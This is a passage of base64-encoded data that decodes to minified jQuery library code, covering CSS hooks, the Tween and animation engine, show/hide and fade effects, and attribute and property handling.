PW58fDAhPT10LmluZGV4T2YoImJhY2tncm91bmQiKXx8KGxbdF09ImluaGVyaXQiKSxhJiYic2V0ImluIGEmJnZvaWQgMD09PShuPWEuc2V0KGUsbixyKSl8fCh1P2wuc2V0UHJvcGVydHkodCxuKTpsW3RdPW4pKX19LGNzczpmdW5jdGlvbihlLHQsbixyKXt2YXIgaSxvLGEscz1YKHQpO3JldHVybiBHZS50ZXN0KHQpfHwodD1YZShzKSksKGE9Uy5jc3NIb29rc1t0XXx8Uy5jc3NIb29rc1tzXSkmJiJnZXQiaW4gYSYmKGk9YS5nZXQoZSwhMCxuKSksdm9pZCAwPT09aSYmKGk9QmUoZSx0LHIpKSwibm9ybWFsIj09PWkmJnQgaW4gUWUmJihpPVFlW3RdKSwiIj09PW58fG4/KG89cGFyc2VGbG9hdChpKSwhMD09PW58fGlzRmluaXRlKG8pP298fDA6aSk6aX19KSxTLmVhY2goWyJoZWlnaHQiLCJ3aWR0aCJdLGZ1bmN0aW9uKGUsdSl7Uy5jc3NIb29rc1t1XT17Z2V0OmZ1bmN0aW9uKGUsdCxuKXtpZih0KXJldHVybiFWZS50ZXN0KFMuY3NzKGUsImRpc3BsYXkiKSl8fGUuZ2V0Q2xpZW50UmVjdHMoKS5sZW5ndGgmJmUuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkud2lkdGg/WmUoZSx1LG4pOldlKGUsWWUsZnVuY3Rpb24oKXtyZXR1cm4gWmUoZSx1LG4pfSl9LHNldDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaT1JZShlKSxvPSF5LnNjcm9sbGJveFNpemUoKSYmImFic29sdXRlIj09PWkucG9zaXRpb24sYT0ob3x8bikmJiJib3JkZXItYm94Ij09PVMuY3NzKGUsImJveFNpemluZyIsITEsaSkscz1uP0tlKGUsdSxuLGEsaSk6MDtyZXR1cm4gYSYmbyYmKHMtPU1hdGguY2VpbChlWyJvZmZzZXQiK3VbMF0udG9VcHBlckNhc2UoKSt1LnNsaWNlKDEpXS1wYXJzZUZsb2F0KGlbdV0pLUtlKGUsdSwiYm9yZGVyIiwhMSxpKS0uNSkpLHMmJihyPXRlLmV4ZWModCkpJiYicHgiIT09KHJbM118fCJweCIpJiYoZS5zdHlsZVt1XT10LHQ9Uy5jc3MoZSx1KSksSmUoMCx0LHMpfX19KSxTLmNzc0hvb2tzLm1hcmdpbkxlZnQ9JGUoeS5yZWxpYWJsZU1hcmdpbkxlZnQsZnVuY3Rpb24oZSx0KXtpZih0KXJldHVybihwYXJzZUZsb2F0KEJlKGUsIm1hcmdpbkxlZnQiKSl8fGUuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkubGVmdC1XZShlLHttYXJnaW5MZWZ0OjB9LGZ1bmN0aW9uKCl7cmV0dXJuIGUuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkubGVmdH0pKSsicHgifSksUy5lYWNoKHttYXJnaW46IiIscGFkZGluZzoiIixib3JkZXI6IldpZHRoIn0sZnVuY3Rpb24oaSxvKXtTLmNzc0hvb2tzW2krb109e2V4cGFuZDpmdW5jdGlvbihlKXtmb3IodmFyIHQ9MCxuPXt9LHI9InN0cmluZyI9PXR5cGVvZiBlP2Uuc3BsaXQoIiAiKTpbZV07dDw0O3QrKyluW2krbmVbdF0rb109clt0XXx8clt0LTJdfHxyWzBdO3JldHVybiBufX0sIm1hcmdpbiIhPT1pJiYoUy5jc3NIb29rc1tpK29dLnNldD1KZSl9KSxTLmZuLmV4dGVuZCh7Y3NzOmZ1bmN0aW9uKGUsdCl7cmV0dXJuICQodGhpcyxmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvPXt9LGE9MDtpZihBcnJheS5pc0FycmF5KHQpKXtmb3Iocj1JZShlKSxpPXQubGVuZ3RoO2E8aTthKyspb1t0W2FdXT1TLmNzcyhlLHRbYV0sITEscik7cmV0dXJuIG99cmV0dXJuIHZvaWQgMCE9PW4/Uy5zdHlsZShlLHQsbik6Uy5jc3MoZSx0KX0sZSx0LDE8YXJndW1lbnRzLmxlbmd0aCl9fSksKChTLlR3ZWVuPWV0KS5wcm90b3R5cGU9e2NvbnN0cnVjdG9yOmV0LGluaXQ6ZnVuY3Rpb24oZSx0LG4scixpLG8pe3RoaXMuZWxlbT1lLHRoaXMucHJvcD1uLHRoaXMuZWFzaW5nPWl8fFMuZWFzaW5nLl9kZWZhdWx0LHRoaXMub3B0aW9ucz10LHRoaXMuc3RhcnQ9dGhpcy5ub3c9dGhpcy5jdXIoKSx0aGlzLmVuZD1yLHRoaXMudW5pdD1vfHwoUy5jc3NOdW1iZXJbbl0/IiI6InB4Iil9LGN1cjpmdW5jdGlvbigpe3ZhciBlPWV0LnByb3BIb29rc1t0aGlzLnByb3BdO3JldHVybiBlJiZlLmdldD9lLmdldCh0aGlzKTpldC5wcm9wSG9va3MuX2RlZmF1bHQuZ2V0KHRoaXMpfSxydW46ZnVuY3Rpb24oZSl7dmFyIHQsbj1ldC5wcm9wSG9va3NbdGhpcy5wcm9wXTtyZXR1cm4gdGhpcy5vcHRpb25zLmR1cmF0aW9uP3RoaXMucG9zPXQ9Uy5lYXNpbmdbdGhpcy5lYXNpbmddKGUsdGhpcy5vcHRpb25zLmR1cmF0aW9uKmUsMCwxLHRoaXMub3B0aW9ucy5kdXJhdGlvbik6dGhpcy5wb3M9dD1lLHRoaXMubm93PSh0aGlzLmVuZC10aGlzLnN0YXJ0KSp0K3RoaXMuc3RhcnQsdGhpcy5vcHRpb25zLnN0ZXAmJnRoaXMub3B0aW9ucy5zdGVwLmNhbGwodGhpcy5lbGVtLHRoaXMubm93LHRoaXMpLG4mJm4uc2V0P24uc2V0KHRoaXMpOmV0LnByb3BIb29rcy5fZGVmYXVsdC5zZXQodGhpcyksdGhpc319KS5pbml0LnByb3RvdHlwZT1ldC5wcm90b3R5cGUsKGV0LnByb3BIb29rcz17X2RlZmF1bHQ6e2dldDpmdW5jdGlvbihlKXt2YXIgdDtyZXR1cm4gMSE9PWUuZWxlbS5ub2RlVHlwZXx8bnVsbCE9ZS5lbGVtW2UucHJvcF0mJm51bGw9PWUuZWxlbS5zdHlsZVtlLnByb3BdP2UuZWxlbVtlLnByb3BdOih0PVMuY3NzKGUuZWxlbSxlLnByb3AsIiIpKSYmImF1dG8iIT09dD90OjB9LHNldDpmdW5jdGlvbihlKXtTLmZ4LnN0ZXBbZS5wcm9wXT9TLmZ4LnN0ZXBbZS5wcm9wXShlKToxIT09ZS5lbGVtLm5vZGVUeXBlfHwhUy5jc3NIb29rc1tlLnByb3BdJiZudWxsPT1lLmVsZW0uc3R5bGVbWGUoZS5wcm9wKV0/ZS5lbGVtW2UucHJvcF09ZS5ub3c6Uy5zdHlsZShlLmVsZW0sZS5wcm9wLGUubm93K2UudW5pdCl9fX0pLnNjcm9sbFRvcD1ldC5wcm9wSG9va3Muc2Nyb2xsTGVmdD17c2V0OmZ1bmN0aW9uKGUpe2UuZWxlbS5ub2RlVHlwZSYmZS5lbGVtLnBhcmVudE5vZGUmJihlLmVsZW1bZS5wcm9wXT1lLm5vdyl9fSxTLmVhc2luZz17bGluZWFyOmZ1bmN0aW9uKGUpe3JldHVybiBlfSxzd2luZzpmdW5jdGlvbihlKXtyZXR1cm4uNS1NYXRoLmNvcyhlKk1hdGguUEkpLzJ9LF9kZWZhdWx0OiJzd2luZyJ9LFMuZng9ZXQucHJvdG90eXBlLmluaXQsUy5meC5zdGVwPXt9O3ZhciB0dCxudCxydCxpdCxvdD0vXig/OnRvZ2dsZXxzaG93fGhpZGUpJC8sYXQ9L3F1ZXVlSG9va3MkLztmdW5jdGlvbiBzdCgpe250JiYoITE9PT1FLmhpZGRlbiYmQy5yZXF1ZXN0QW5pbWF0aW9uRnJhbWU/Qy5yZXF1ZXN0QW5pbWF0aW9uRnJhbWUoc3QpOkMuc2V0VGltZW91dChzdCxTLmZ4LmludGVydmFsKSxTLmZ4LnRpY2soKSl9ZnVuY3Rpb24gdXQoKXtyZXR1cm4gQy5zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dHQ9dm9pZCAwfSksdHQ9RGF0ZS5ub3coKX1mdW5jdGlvbiBsdChlLHQpe3ZhciBuLHI9MCxpPXtoZWlnaHQ6ZX07Zm9yKHQ9dD8xOjA7cjw0O3IrPTItdClpWyJtYXJnaW4iKyhuPW5lW3JdKV09aVsicGFkZGluZyIrbl09ZTtyZXR1cm4gdCYmKGkub3BhY2l0eT1pLndpZHRoPWUpLGl9ZnVuY3Rpb24gY3QoZSx0LG4pe2Zvcih2YXIgcixpPShmdC50d2VlbmVyc1t0XXx8W10pLmNvbmNhdChmdC50d2VlbmVyc1siKiJdKSxvPTAsYT1pLmxlbmd0aDtvPGE7bysrKWlmKHI9aVtvXS5jYWxsKG4sdCxlKSlyZXR1cm4gcn1mdW5jdGlvbiBmdChvLGUsdCl7dmFyIG4sYSxyPTAsaT1mdC5wcmVmaWx0ZXJzLmxlbmd0aCxzPVMuRGVmZXJyZWQoKS5hbHdheXMoZnVuY3Rpb24oKXtkZWxldGUgdS5lbGVtfSksdT1mdW5jdGlvbigpe2lmKGEpcmV0dXJuITE7Zm9yKHZhciBlPXR0fHx1dCgpLHQ9TWF0aC5tYXgoMCxsLnN0YXJ0VGltZStsLmR1cmF0aW9uLWUpLG49MS0odC9sLmR1cmF0aW9ufHwwKSxyPTAsaT1sLnR3ZWVucy5sZW5ndGg7cjxpO3IrKylsLnR3ZWVuc1tyXS5ydW4obik7cmV0dXJuIHMubm90aWZ5V2l0aChvLFtsLG4sdF0pLG48MSYmaT90OihpfHxzLm5vdGlmeVdpdGgobyxbbCwxLDBdKSxzLnJlc29sdmVXaXRoKG8sW2xdKSwhMSl9LGw9cy5wcm9taXNlKHtlbGVtOm8scHJvcHM6Uy5leHRlbmQoe30sZSksb3B0czpTLmV4dGVuZCghMCx7c3BlY2lhbEVhc2luZzp7fSxlYXNpbmc6Uy5lYXNpbmcuX2RlZmF1bHR9LHQpLG9yaWdpbmFsUHJvcGVydGllczplLG9yaWdpbmFsT3B0aW9uczp0LHN0YXJ0VGltZTp0dHx8dXQoKSxkdXJhdGlvbjp0LmR1cmF0aW9uLHR3ZWVuczpbXSxjcmVhdGVUd2VlbjpmdW5jdGlvbihlLHQpe3ZhciBuPVMuVHdlZW4obyxsLm9wdHMsZSx0LGwub3B0cy5zcGVjaWFsRWFzaW5nW2VdfHxsLm9wdHMuZWFzaW5nKTtyZXR1cm4gbC50d2VlbnMucHVzaChuKSxufSxzdG9wOmZ1bmN0aW9uKGUpe3ZhciB0PTAsbj1lP2wudHdlZW5zLmxlbmd0aDowO2lmKGEpcmV0dXJuIHRoaXM7Zm9yKGE9ITA7dDxuO3QrKylsLnR3ZWVuc1t0XS5ydW4oMSk7cmV0dXJuIGU/KHMubm90aWZ5V2l0aChvLFtsLDEsMF0pLHMucmVzb2x2ZVdpdGgobyxbbCxlXSkpOnMucmVqZWN0V2l0aChvLFtsLGVdKSx0aGlzfX0pLGM9bC5wcm9wcztmb3IoIWZ1bmN0aW9uKGUsdCl7dmFyIG4scixpLG8sYTtmb3IobiBpbiBlKWlmKGk9dFtyPVgobildLG89ZVtuXSxBcnJheS5pc0FycmF5KG8pJiYoaT1vWzFdLG89ZVtuXT1vWzBdKSxuIT09ciYmKGVbcl09byxkZWxldGUgZVtuXSksKGE9Uy5jc3NIb29rc1tyXSkmJiJleHBhbmQiaW4gYSlmb3IobiBpbiBvPWEuZXhwYW5kKG8pLGRlbGV0ZSBlW3JdLG8pbiBpbiBlfHwoZVtuXT1vW25dLHRbbl09aSk7ZWxzZSB0W3JdPWl9KGMsbC5vcHRzLnNwZWNpYWxFYXNpbmcpO3I8aTtyKyspaWYobj1mdC5wcmVmaWx0ZXJzW3JdLmNhbGwobCxvLGMsbC5vcHRzKSlyZXR1cm4gbShuLnN0b3ApJiYoUy5fcXVldWVIb29rcyhsLmVsZW0sbC5vcHRzLnF1ZXVlKS5zdG9wPW4uc3RvcC5iaW5kKG4pKSxuO3JldHVybiBTLm1hcChjLGN0LGwpLG0obC5vcHRzLnN0YXJ0KSYmbC5vcHRzLnN0YXJ0LmNhbGwobyxsKSxsLnByb2dyZXNzKGwub3B0cy5wcm9ncmVzcykuZG9uZShsLm9wdHMuZG9uZSxsLm9wdHMuY29tcGxldGUpLmZhaWwobC5vcHRzLmZhaWwpLmFsd2F5cyhsLm9wdHMuYWx3YXlzKSxTLmZ4LnRpbWVyKFMuZXh0ZW5kKHUse2VsZW06byxhbmltOmwscXVldWU6bC5vcHRzLnF1ZXVlfSkpLGx9Uy5BbmltYXRpb249Uy5leHRlbmQoZnQse3R3ZWVuZXJzOnsiKiI6W2Z1bmN0aW9uKGUsdCl7dmFyIG49dGhpcy5jcmVhdGVUd2VlbihlLHQpO3JldHVybiBzZShuLmVsZW0sZSx0ZS5leGVjKHQpLG4pLG59XX0sdHdlZW5lcjpmdW5jdGlvbihlLHQpe20oZSk/KHQ9ZSxlPVsiKiJdKTplPWUubWF0Y2goUCk7Zm9yKHZhciBuLHI9MCxpPWUubGVuZ3RoO3I8aTtyKyspbj1lW3JdLGZ0LnR3ZWVuZXJzW25dPWZ0LnR3ZWVuZXJzW25dfHxbXSxmdC50d2VlbmVyc1tuXS51bnNoaWZ0KHQpfSxwcmVmaWx0ZXJzOltmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvLGEscyx1LGwsYyxmPSJ3aWR0aCJpbiB0fHwiaGVpZ2h0ImluIHQscD10aGlzLGQ9e30saD1lLnN0eWxlLGc9ZS5ub2RlVHlwZSYmYWUoZSksdj1ZLmdldChlLCJmeHNob3ciKTtmb3IociBpbiBuLnF1ZXVlfHwobnVsbD09KGE9Uy5fcXVldWVIb29rcyhlLCJmeCIpKS51bnF1ZXVlZCYmKGEudW5xdWV1ZWQ9MCxzPWEuZW1wdHkuZmlyZSxhLmVtcHR5LmZpcmU9ZnVuY3Rpb24oKXthLnVucXVldWVkfHxzKCl9KSxhLnVucXVldWVkKysscC5hbHdheXMoZnVuY3Rpb24oKXtwLmFsd2F5cyhmdW5jdGlvbigpe2EudW5xdWV1ZWQtLSxTLnF1ZXVlKGUsImZ4IikubGVuZ3RofHxhLmVtcHR5LmZpcmUoKX0pfSkpLHQpaWYoaT10W3JdLG90LnRlc3QoaSkpe2lmKGRlbGV0ZSB0W3JdLG89b3x8InRvZ2dsZSI9PT1pLGk9PT0oZz8iaGlkZSI6InNob3ciKSl7aWYoInNob3ciIT09aXx8IXZ8fHZvaWQgMD09PXZbcl0pY29udGludWU7Zz0hMH1kW3JdPXYmJnZbcl18fFMuc3R5bGUoZSxyKX1pZigodT0hUy5pc0VtcHR5T2JqZWN0KHQpKXx8IVMuaXNFbXB0eU9iamVjdChkKSlmb3IociBpbiBmJiYxPT09ZS5ub2RlVHlwZSYmKG4ub3ZlcmZsb3c9W2gub3ZlcmZsb3csaC5vdmVyZmxvd1gsaC5vdmVyZmxvd1ldLG51bGw9PShsPXYmJnYuZGlzcGxheSkmJihsPVkuZ2V0KGUsImRpc3BsYXkiKSksIm5vbmUiPT09KGM9Uy5jc3MoZSwiZGlzcGxheSIpKSYmKGw/Yz1sOihsZShbZV0sITApLGw9ZS5zdHlsZS5kaXNwbGF5fHxsLGM9Uy5jc3MoZSwiZGlzcGxheSIpLGxlKFtlXSkpKSwoImlubGluZSI9PT1jfHwiaW5saW5lLWJsb2NrIj09PWMmJm51bGwhPWwpJiYibm9uZSI9PT1TLmNzcyhlLCJmbG9hdCIpJiYodXx8KHAuZG9uZShmdW5jdGlvbigpe2guZGlzcGxheT1sfSksbnVsbD09bCYmKGM9aC5kaXNwbGF5LGw9Im5vbmUiPT09Yz8iIjpjKSksaC5kaXNwbGF5PSJpbmxpbmUtYmxvY2siKSksbi5vdmVyZmxvdyYmKGgub3ZlcmZsb3c9ImhpZGRlbiIscC5hbHdheXMoZnVuY3Rpb24oKXtoLm92ZXJmbG93PW4ub3ZlcmZsb3dbMF0saC5vdmVyZmxvd1g9bi5vdmVyZmxvd1sxXSxoLm92ZXJmbG93WT1uLm92ZXJmbG93WzJdfSkpLHU9ITEsZCl1fHwodj8iaGlkZGVuImluIHYmJihnPXYuaGlkZGVuKTp2PVkuYWNjZXNzKGUsImZ4c2hvdyIse2Rpc3BsYXk6bH0pLG8mJih2LmhpZGRlbj0hZyksZyYmbGUoW2VdLCEwKSxwLmRvbmUoZnVuY3Rpb24oKXtmb3IociBpbiBnfHxsZShbZV0pLFkucmVtb3ZlKGUsImZ4c2hvdyIpLGQpUy5zdHlsZShlLHIsZFtyXSl9KSksdT1jdChnP3Zbcl06MCxyLHApLHIgaW4gdnx8KHZbcl09dS5zdGFydCxnJiYodS5lbmQ9dS5zdGFydCx1LnN0YXJ0PTApKX1dLHByZWZpbHRlcjpmdW5jdGlvbihlLHQpe3Q/ZnQucHJlZmlsdGVycy51bnNoaWZ0KGUpOmZ0LnByZWZpbHRlcnMucHVzaChlKX19KSxTLnNwZWVkPWZ1bmN0aW9uKGUsdCxuKXt2YXIgcj1lJiYib2JqZWN0Ij09dHlwZW9mIGU/Uy5leHRlbmQoe30sZSk6e2NvbXBsZXRlOm58fCFuJiZ0fHxtKGUpJiZlLGR1cmF0aW9uOmUsZWFzaW5nOm4mJnR8fHQmJiFtKHQpJiZ0fTtyZXR1cm4gUy5meC5vZmY/ci5kdXJhdGlvbj0wOiJudW1iZXIiIT10eXBlb2Ygci5kdXJhdGlvbiYmKHIuZHVyYXRpb24gaW4gUy5meC5zcGVlZHM/ci5kdXJhdGlvbj1TLmZ4LnNwZWVkc1tyLmR1cmF0aW9uXTpyLmR1cmF0aW9uPVMuZnguc3BlZWRzLl9kZWZhdWx0KSxudWxsIT1yLnF1ZXVlJiYhMCE9PXIucXVldWV8fChyLnF1ZXVlPSJmeCIpLHIub2xkPXIuY29tcGxldGUsci5jb21wbGV0ZT1mdW5jdGlvbigpe20oci5vbGQpJiZyLm9sZC5jYWxsKHRoaXMpLHIucXVldWUmJlMuZGVxdWV1ZSh0aGlzLHIucXVldWUpfSxyfSxTLmZuLmV4dGVuZCh7ZmFkZVRvOmZ1bmN0aW9uKGUsdCxuLHIpe3JldHVybiB0aGlzLmZpbHRlcihhZSkuY3NzKCJvcGFjaXR5IiwwKS5zaG93KCkuZW5kKCkuYW5pbWF0ZSh7b3BhY2l0eTp0fSxlLG4scil9LGFuaW1hdGU6ZnVuY3Rpb24odCxlLG4scil7dmFyIGk9Uy5pc0VtcHR5T2JqZWN0KHQpLG89Uy5zcGVlZChlLG4sciksYT1mdW5jdGlvbigpe3ZhciBlPWZ0KHRoaXMsUy5leHRlbmQoe30sdCksbyk7KGl8fFkuZ2V0KHRoaXMsImZpbmlzaCIpKSYmZS5zdG9wKCEwKX07cmV0dXJuIGEuZmluaXNoPWEsaXx8ITE9PT1vLnF1ZXVlP3RoaXMuZWFjaChhKTp0aGlzLnF1ZXVlKG8ucXVldWUsYSl9LHN0b3A6ZnVuY3Rpb24oaSxlLG8pe3ZhciBhPWZ1bmN0aW9uKGUpe3ZhciB0PWUuc3RvcDtkZWxldGUgZS5zdG9wLHQobyl9O3JldHVybiJzdHJpbmciIT10eXBlb2YgaSYmKG89ZSxlPWksaT12b2lkIDApLGUmJnRoaXMucXVldWUoaXx8ImZ4IixbXSksdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGU9ITAsdD1udWxsIT1pJiZpKyJxdWV1ZUhvb2tzIixuPVMudGltZXJzLHI9WS5nZXQodGhpcyk7aWYodClyW3RdJiZyW3RdLnN0b3AmJmEoclt0XSk7ZWxzZSBmb3IodCBpbiByKXJbdF0mJnJbdF0uc3RvcCYmYXQudGVzdCh0KSYmYShyW3RdKTtmb3IodD1uLmxlbmd0aDt0LS07KW5bdF0uZWxlbSE9PXRoaXN8fG51bGwhPWkmJm5bdF0ucXVldWUhPT1pfHwoblt0XS5hbmltLnN0b3AobyksZT0hMSxuLnNwbGljZSh0LDEpKTshZSYmb3x8Uy5kZXF1ZXVlKHRoaXMsaSl9KX0sZmluaXNoOmZ1bmN0aW9uKGEpe3JldHVybiExIT09YSYmKGE9YXx8ImZ4IiksdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGUsdD1ZLmdldCh0aGlzKSxuPXRbYSsicXVldWUiXSxyPXRbYSsicXVldWVIb29rcyJdLGk9Uy50aW1lcnMsbz1uP24ubGVuZ3RoOjA7Zm9yKHQuZmluaXNoPSEwLFMucXVldWUodGhpcyxhLFtdKSxyJiZyLnN0b3AmJnIuc3RvcC5jYWxsKHRoaXMsITApLGU9aS5sZW5ndGg7ZS0tOylpW2VdLmVsZW09PT10aGlzJiZpW2VdLnF1ZXVlPT09YSYmKGlbZV0uYW5pbS5zdG9wKCEwKSxpLnNwbGljZShlLDEpKTtmb3IoZT0wO2U8bztlKyspbltlXSYmbltlXS5maW5pc2gmJm5bZV0uZmluaXNoLmNhbGwodGhpcyk7ZGVsZXRlIHQuZmluaXNofSl9fSksUy5lYWNoKFsidG9nZ2xlIiwic2hvdyIsImhpZGUiXSxmdW5jdGlvbihlLHIpe3ZhciBpPVMuZm5bcl07Uy5mbltyXT1mdW5jdGlvbihlLHQsbil7cmV0dXJuIG51bGw9PWV8fCJib29sZWFuIj09dHlwZW9mIGU/aS5hcHBseSh0aGlzLGFyZ3VtZW50cyk6dGhpcy5hbmltYXRlKGx0KHIsITApLGUsdCxuKX19KSxTLmVhY2goe3NsaWRlRG93bjpsdCgic2hvdyIpLHNsaWRlVXA6bHQoImhpZGUiKSxzbGlkZVRvZ2dsZTpsdCgidG9nZ2xlIiksZmFkZUluOntvcGFjaXR5OiJzaG93In0sZmFkZU91dDp7b3BhY2l0eToiaGlkZSJ9LGZhZGVUb2dnbGU6e29wYWNpdHk6InRvZ2dsZSJ9fSxmdW5jdGlvbihlLHIpe1MuZm5bZV09ZnVuY3Rpb24oZSx0LG4pe3JldHVybiB0aGlzLmFuaW1hdGUocixlLHQsbil9fSksUy50aW1lcnM9W10sUy5meC50aWNrPWZ1bmN0aW9uKCl7dmFyIGUsdD0wLG49Uy50aW1lcnM7Zm9yKHR0PURhdGUubm93KCk7dDxuLmxlbmd0aDt0KyspKGU9blt0XSkoKXx8blt0XSE9PWV8fG4uc3BsaWNlKHQtLSwxKTtuLmxlbmd0aHx8Uy5meC5zdG9wKCksdHQ9dm9pZCAwfSxTLmZ4LnRpbWVyPWZ1bmN0aW9uKGUpe1MudGltZXJzLnB1c2goZSksUy5meC5zdGFydCgpfSxTLmZ4LmludGVydmFsPTEzLFMuZnguc3RhcnQ9ZnVuY3Rpb24oKXtudHx8KG50PSEwLHN0KCkpfSxTLmZ4LnN0b3A9ZnVuY3Rpb24oKXtudD1udWxsfSxTLmZ4LnNwZWVkcz17c2xvdzo2MDAsZmFzdDoyMDAsX2RlZmF1bHQ6NDAwfSxTLmZuLmRlbGF5PWZ1bmN0aW9uKHIsZSl7cmV0dXJuIHI9Uy5meCYmUy5meC5zcGVlZHNbcl18fHIsZT1lfHwiZngiLHRoaXMucXVldWUoZSxmdW5jdGlvbihlLHQpe3ZhciBuPUMuc2V0VGltZW91dChlLHIpO3Quc3RvcD1mdW5jdGlvbigpe0MuY2xlYXJUaW1lb3V0KG4pfX0pfSxydD1FLmNyZWF0ZUVsZW1lbnQoImlucHV0IiksaXQ9RS5jcmVhdGVFbGVtZW50KCJzZWxlY3QiKS5hcHBlbmRDaGlsZChFLmNyZWF0ZUVsZW1lbnQoIm9wdGlvbiIpKSxydC50eXBlPSJjaGVja2JveCIseS5jaGVja09uPSIiIT09cnQudmFsdWUseS5vcHRTZWxlY3RlZD1pdC5zZWxlY3RlZCwocnQ9RS5jcmVhdGVFbGVtZW50KCJpbnB1dCIpKS52YWx1ZT0idCIscnQudHlwZT0icmFkaW8iLHkucmFkaW9WYWx1ZT0idCI9PT1ydC52YWx1ZTt2YXIgcHQsZHQ9Uy5leHByLmF0dHJIYW5kbGU7Uy5mbi5leHRlbmQoe2F0dHI6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gJCh0aGlzLFMuYXR0cixlLHQsMTxhcmd1bWVudHMubGVuZ3RoKX0scmVtb3ZlQXR0cjpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7Uy5yZW1vdmVBdHRyKHRoaXMsZSl9KX19KSxTLmV4dGVuZCh7YXR0cjpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvPWUubm9kZVR5cGU7aWYoMyE9PW8mJjghPT1vJiYyIT09bylyZXR1cm4idW5kZWZpbmVkIj09dHlwZW9mIGUuZ2V0QXR0cmlidXRlP1MucHJvcChlLHQsbik6KDE9PT1vJiZTLmlzWE1MRG9jKGUpfHwoaT1TLmF0dHJIb29rc1t0LnRvTG93ZXJDYXNlKCldfHwoUy5leHByLm1hdGNoLmJvb2wudGVzdCh0KT9wdDp2b2lkIDApKSx2b2lkIDAhPT1uP251bGw9PT1uP3ZvaWQgUy5yZW1vdmVBdHRyKGUsdCk6aSYmInNldCJpbiBpJiZ2b2lkIDAhPT0ocj1pLnNldChlLG4sdCkpP3I6KGUuc2V0QXR0cmlidXRlKHQsbisiIiksbik6aSYmImdldCJpbiBpJiZudWxsIT09KHI9aS5nZXQoZSx0KSk/cjpudWxsPT0ocj1TLmZpbmQuYXR0cihlLHQpKT92b2lkIDA6cil9LGF0dHJIb29rczp7dHlwZTp7c2V0OmZ1bmN0aW9uKGUsdCl7aWYoIXkucmFkaW9WYWx1ZSYmInJhZGlvIj09PXQmJkEoZSwiaW5wdXQiKSl7dmFyIG49ZS52YWx1ZTtyZXR1cm4gZS5zZXRBdHRyaWJ1dGUoInR5cGUiLHQpLG4mJihlLnZhbHVlPW4pLHR9fX19LHJlbW92ZUF0dHI6ZnVuY3Rpb24oZSx0KXt2YXIgbixyPTAsaT10JiZ0Lm1hdGNoKFApO2lmKGkmJjE9PT1lLm5vZGVUeXBlKXdoaWxlKG49aVtyKytdKWUucmVtb3ZlQXR0cmlidXRlKG4pfX0pLHB0PXtzZXQ6ZnVuY3Rpb24oZSx0LG4pe3JldHVybiExPT09dD9TLnJlbW92ZUF0dHIoZSxuKTplLnNldEF0dHJpYnV0ZShuLG4pLG59fSxTLmVhY2goUy5leHByLm1hdGNoLmJvb2wuc291cmNlLm1hdGNoKC9cdysvZyksZnVuY3Rpb24oZSx0KXt2YXIgYT1kdFt0XXx8Uy5maW5kLmF0dHI7ZHRbdF09ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbz10LnRvTG93ZXJDYXNlKCk7cmV0dXJuIG58fChpPWR0W29dLGR0W29dPXIscj1udWxsIT1hKGUsdCxuKT9vOm51bGwsZHRbb109aSkscn19KTt2YXIgaHQ9L14oPzppbnB1dHxzZWxlY3R8dGV4dGFyZWF8YnV0dG9uKSQvaSxndD0vXig/OmF8YXJlYSkkL2k7ZnVuY3Rpb24gdnQoZSl7cmV0dXJuKGUubWF0Y2goUCl8fFtdKS5qb2luKCIgIil9ZnVuY3Rpb24geXQoZSl7cmV0dXJuIGUuZ2V0QXR0cmlidXRlJiZlLmdldEF0dHJpYnV0ZSgiY2xhc3MiKXx8IiJ9ZnVuY3Rpb24gbXQoZSl7cmV0dXJuIEFycmF5LmlzQXJyYXkoZSk/ZToic3RyaW5nIj09dHlwZW9mIGUmJmUubWF0Y2goUCl8fFtdfVMuZm4uZXh0ZW5kKHtwcm9wOmZ1bmN0aW9uKGUsdCl7cmV0dXJuICQodGhpcyxTLnByb3AsZSx0LDE8YXJndW1lbnRzLmxlbmd0aCl9LHJlbW92ZVByb3A6ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe2RlbGV0ZSB0aGlzW1MucHJvcEZpeFtlXXx8ZV19KX19KSxTLmV4dGVuZCh7cHJvcDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvPWUubm9kZVR5cGU7aWYoMyE9PW8mJjghPT1vJiYyIT09bylyZXR1cm4gMT09PW8mJlMuaXNYTUxEb2MoZSl8fCh0PVMucHJvcEZpeFt0XXx8dCxpPVMucHJvcEhvb2tzW3RdKSx2b2lkIDAhPT1uP2kmJiJzZXQiaW4gaSYmdm9pZCAwIT09KHI9aS5zZXQoZSxuLHQpKT9yOmVbdF09bjppJiYiZ2V0ImluIGkmJm51bGwhPT0ocj1pLmdldChlLHQpKT9yOmVbdF19LHByb3BIb29rczp7dGFiSW5kZXg6e2dldDpmdW5jdGlvbihlKXt2YXIgdD1TLmZpbmQuYXR0cihlLCJ0YWJpbmRleCIpO3JldHVybiB0P3BhcnNlSW50KHQsMTApOmh0LnRlc3QoZS5ub2RlTmFtZSl8fGd0LnRlc3QoZS5ub2RlTmFtZSkmJmUuaHJlZj8wOi0xfX19LHByb3BGaXg6eyJmb3IiOiJodG1sRm9yIiwiY2xhc3MiOiJjbGFzc05hbWUifX0pLHkub3B0U2VsZWN0ZWR8fChTLnByb3BIb29rcy5zZWxlY3RlZD17Z2V0OmZ1bmN0aW9uKGUpe3ZhciB0PWUucGFyZW50Tm9kZTtyZXR1cm4gdCYmdC5wYXJlbnROb2RlJiZ0LnBhcmVudE5vZGUuc2VsZWN0ZWRJbmRleCxudWxsfSxzZXQ6ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5wYXJlbnROb2RlO3QmJih0LnNlbGVjdGVkSW5kZXgsdC5wYXJlbnROb2RlJiZ0LnBhcmVudE5vZGUuc2VsZWN0ZWRJbmRleCl9fSksUy5lYWNoKFsidGFiSW5kZXgiLCJyZWFkT25seSIsIm1heExlbmd0aCIsImNlbGxTcGFjaW5nIiwiY2VsbFBhZGRpbmciL